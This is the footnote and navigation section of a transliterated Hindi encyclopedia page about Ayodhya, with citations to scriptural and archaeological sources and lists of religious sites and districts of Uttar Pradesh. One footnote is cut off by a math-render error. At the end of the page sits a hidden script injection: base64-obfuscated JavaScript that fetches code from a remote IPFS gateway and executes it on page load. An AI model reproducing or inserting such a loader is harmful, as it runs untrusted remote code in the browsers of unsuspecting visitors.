  28. ↑ upavriththotthitaan dinaan vadavamiv vahitamh. paansu guanthit sarvaangagivimavarsh ch panina. ramayan, ayodhyakand, sarg 20, pankti 34
  29. ↑ majjhim nikay, bhag 2, prishth 124
  30. ↑ malalasekar, dikshanari aauf pali prapar nems, bhag 1, prishth 165
  31. ↑ sanyuktanikay (pali tekts sosaiti), bhag 3, prishth 140 aur age
  32. ↑ tatraiv, bhag 4, prishth 179
  33. ↑ adhyay 5, shlok 31
  34. ↑ adi puran 12, prishth 77; vividhatirthakalp, prishth 55; vishuddhanand pathak, histri aauf koshal (motilal banarasidas, varanasi 1963 ee.) prishth 55
  35. ↑ ailakjeandar kaniangham, aishyeant jyografi aauf iandiya (iandolajikal buk haus, varanasi, 1976), prishth 405
  36. ↑ nandoolal de, di jiyografikal dikshanari aauf aishyeant eand midival iandiya, prishth 174
  37. ↑ phargusan, arkiyolaji in iandiya, prishth 110
  38. ↑ bi. e. smith, j. ra. e. so., 1898, prishth 124
  39. ↑ viliyam hovi, j. ai. so. b., 1900 prishth 75
  40. ↑ dablyoo, bost, j. ra. e. so., 1906, prishth 437 aur age
  41. ↑ bharatasianh upadhyay, buddhakalin bharatiy bhoogol, (hindi sahity sammelan prayag, 2018), prishth 254
  42. ↑ avassak kameantri, prishth 24
  43. ↑ raj devids, buddhist iandiya, prishth 39
  44. ↑ hemachand ray chaudhari, prachin bharat ka rajanitik itihas, (kitab mahal, ilahabad, 1976 ee.), prishth 91
  45. ↑ vishuddhanand pathak, histri aauf koshal, motilal banarasidas, varanasi, pratham sanskaran, 1963, prishth 58
  46. ↑ ee. je. thamas, di laif aauf buddh aij lijeand in histri, (stalej eand kegan pal limited, landan, tritiy sanskaran, punarmudrit, 1952), prishth 15
  47. ↑ brajavasi lal, arkiyolaji eand too iandiyan ipiks, enals aauf di bhandarakar oriyantal risarch ianstityoot, jild 54, 1973 ee.
  48. ↑ hansamukh dhirajalal saankaliya, ramayan mith ar riyaliti, nee dilli, 1973 ee.
  49. ↑ hemachandr ray chaudhari, prachin bharat ka rajanitik itihas, prishth 7
  50. ↑ munishachandr joshi arkiyolaji eand iandiyan tredishans, sam abjarveshan, puratattv, jild 8, 1978 ee. poo., prishth 89-102
  51. ↑ taittiriy aranyak 1/27 ashtachakr navadvara devanaan purayodhyaan tasyamh hiranmyakoshah svargaloko jayotishavrit: yo vayatamh brahmamano ved amritenavritamapurimh tasmai brahm ch ayu: kirtimh prajamh yaduh vibhrajamanamh harinimh yashasha sanparivrittamh puramh hiranyamayomh brahma viveshaparajitamh.
  52. ↑ brajavasi lal, baj ayodhya e mithikal siti, puratattv, jild 10, prishth 47
  53. ↑ atharveved, 10/2/28-33
  54. ↑ shrimadbhagavadagita, 5/13
  55. ↑ poorvullekhit, 1/27
  56. ↑ poorvullekhit, puratattv, jild 10, prishth 47
  57. ↑ poorvullekhit, puratattv, jild 8, prishth 98-102
  58. ↑ jems legge, di traivels aauf fahyan, (oriyantal pablishars, nee dilli, dvitiy sanskaran, 1972), prishth 54-55
  59. ↑ thamas vatars, aaun yuv aaun chvaangs traivels in iandiya, bhag 1, prishth 355
  60. ↑ basubandhu ka adhyapan evan parishram adi ayodhya mean hi hua tha.
  61. ↑ asang bodhisatv ka chhota bhaee basabandhu bodhisatv tha.
  62. ↑ prachin kal mean bauddhoan ki yah ichchha rahati ki ve log mrityu ke pashchath tushit svarg mean maitrey ke nikat nivas karean.
  63. ↑ thamas vatars, aaun yuv aaun chvaangs traivels in iandiya, bhag 1, prishth 357
  64. ↑ i. a. ri., 1959-70, prishth 40-41
  65. ↑ i. a. ri. 1976-77, prishth 52
  66. ↑ hari maanjhi aur bi. ar. mani, ayodhya 2002-2003, eksakaiveshans ait di "dispyooted sait" bharatiy puratattv sarvekshan vibhag, nee dilli, 2003, chhaya prati.
  67. ↑ karban-4 ke arddhajivan par adharit (5570 Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \pm 30 varsh

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sanbandhit lekh

dekhean • varta • badalean
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ramayan ke kand
any ramayan granth

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dekhean • varta • badalean
uttar pradesh ke dharmik sthal
akroor ghat varanasi · agnishvar ghat varanasi · amarohagiri bavali ghat · ayodhya · asitaang bhairav · asi ghat varanasi · ahilyabaee ghat varanasi · adikeshav ghat varanasi · ilahabad · unmatt bhairav · aitarani-vaitarani talab · oankareshvar · kapalamochan talab · kapali bhairav · karnaghanta sarovar · karnavas · kardameshvar mandir · kalipalatan mandir · kaleshvar, varanasi · kashi ke asht bhairav mandir · kashi ke shiv mandir · kurukshetr kund, varanasi · kushinagar · kusum sarovar govardhan · krishna janmabhoomi · kedar ghat varanasi · kedareshvar, varanasi · krian-kund, varanasi · krodhan bhairav · khiraki ghat varanasi · khori ghat varanasi · gangamahal ghat varanasi · ganesh ghat varanasi · ganesh mandir kalapi · gay ghat varanasi · guptar ghat, faizabad · gurudham mandir, varanasi · gulariya ghat varanasi · gopeshvar mahadev vrindavan · gorakhanath mandir · gola ghat varanasi · govardhan · govind dev mandir vrindavan · ghushmeshvaranath mandir · gho da ghat varanasi · chand bhairav · chetasianh ghat varanasi · chauki ghat varanasi · chausatthi ghat varanasi · jayagurudev mandir mathura · jalasaee ghat varanasi · janaki ghat varanasi · jama masjid merath · jami masjid jaunapur · jain ghat varanasi · jain shvetaanbar mandir hastinapur · jhanjhiri masjid jaunapur · tameshvaranath mandir · tilabhandeshvar, varanasi · tulasi ghat varanasi · teliyanala ghat varanasi · tripura bhairavi ghat varanasi · trilokapur tirth · trilochan ghat varanasi · dandi ghat varanasi · darabhanga ghat · dashashvamedh ghat · danaghati govardhan · digpatiya ghat varanasi · dugdheshvaranath · durga ghat · durga mandir, varanasi · durgakund, varanasi · devatasara · devipatan mandir · dvarikadhish mandir mathura · ram mandir ayodhya · dharmarajika stoop · dhobiya ghat varanasi · dhautapap · nangali tirth merath · nandoo ghat varanasi · naya ghat varanasi · narava ghat varanasi · nari semari · navala ghat varanasi · nayar devi mandir · narad ghat varanasi · niranjani ghat varanasi · nirvan stoop, kushinagar · nishad raj ghat varanasi · nepali ghat varanasi · naimisharany · panchaganga ghat · pakka ghat · p dila mahadev mandir · paande ghat · pandeshvar mahadev mandir · pitri kund · piparava · prithvinath mandir · prabhu ghat · prayag · prayag ghat · prayag shaktipith · prahlad ghat · prem mandir · phoota ghat · bakariya kund, varanasi · bachchharaj ghat varanasi · barasana · baanke bihari mandir · bajirav ghat · babhaji ghat · balaji mandir · balabaee ghat · baleshvaranath mandir · boodheshvaranath mandir · briddhakal koop · beniya kund · benimadhav ghat · belon mandir · belha devi mandir · braj · brahm ghat · bhakti dham · bhadaini ghat · bhayaharananath dham · bharat mata mandir · bhishan bhairav · bhoansala ghat · magahar · manikarnika ghat · manikarnikeshvar · matsyeandranath · matsyodari talab · mathura · madhyameshvar · mahadeva mandir · mata anandamayi ghat · matri kund · man mandir ghat · manas mandir · manasarovar ghat · manasi ganga · marakandey mahadev mandir · malaviy ghat · mishrikh · mir ghat · muanshi ghat · moolagandh kuti vihar · mehata ghat · maisoor ghat · ranganath ji mandir · ravidas ghat · ravidas mandir · raj ghat · raja ghat · rajeandr prasad ghat · rana ghat · radha krishna mandir · radhakund · ram kund · ram ghat · ramakatora kund · ramaghat · rameshvar · rooroo bhairav · lakshmi kund · lalita ghat · lalli ghat · lal ghat · lal daravaza masjid · lala mishr ghat · lolark kund · varuna sangam ghat · varanasi · varanasi alekh · varanasi ke ghat · viandhyachal · vijayanagaram ghat · vimal kund · vishvanath jyotirliang · vrindavan · vyaseshvar · vraj · shanidev mandir · shivarajapur · shivala ghat · shitala ghat · shitala mata mandir · shitalaghat · sankatamochan mandir · sankata ghat gangamahal · sankata ghat · sanhar bhairav · sakaha shankar mandir · saket · samane ghat · saranath · siandhianya ghat · sooraj kund · soory mandir pratapagadh · someshvar ghat · soroan · hanuman ghat · haridev ji mandir · harishchand ghat · haudeshvaranath mandir · gomat tal

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dekhean • varta • badalean
uttar pradesh
parichay
pramukh nagar
lakhanoo (rajadhani) · agara · ilahabad · kanapur · lakhanoo · merath · varanasi
dharmik nagar
dharmik sthal
pramukh nadiyaan
paryatan sthal
bhasha
rajaniti
mandal
zile
aanbedakar nagar zila · aligadh zila · agara zila · ajamagadh zila · itava zila · ilahabad zila · unnav zila · eta zila · auraiya zila · kannauj zila · kaanshiram nagar zila · kanapur dehat zila · kanapur nagar zila · kushinagar zila · kaushambi zila · gaziyabad zila · gazipur zila · goanda zila · gorakhapur zila · gautam buddh nagar zila · chandauli zila · chitrakoot zila · jalaun zila · jaunapur zila · jyotiba phule nagar zila · jhaansi zila · devariya zila · pilibhit zila · pratapagadh zila · phatehapur zila · farrukhabad zila · firozabad zila · faizabad zila · badayooan zila · bareli zila · balaramapur zila · baliya zila · basti zila · baharaich zila · baanda zila · bagapat zila · barabanki zila · bijanaur zila · bulandashahar zila · moo zila · mathura zila · mahamayanagar zila · maharajaganj zila · mahoba zila · mirzapur zila · muzaffaranagar zila · muradabad zila · merath zila · mainapuri zila · ramapur zila · rayabareli zila · lakhanoo zila · lakhimapur khiri zila · lalitapur zila · varanasi zila · shahajahaanpur zila · shravasti zila · sant kabir nagar zila · sant ravidas nagar zila · saharanapur zila · siddharthanagar zila · sitapur zila · sultanapur zila · sonabhadr zila · hamirapur zila · haradoee zila
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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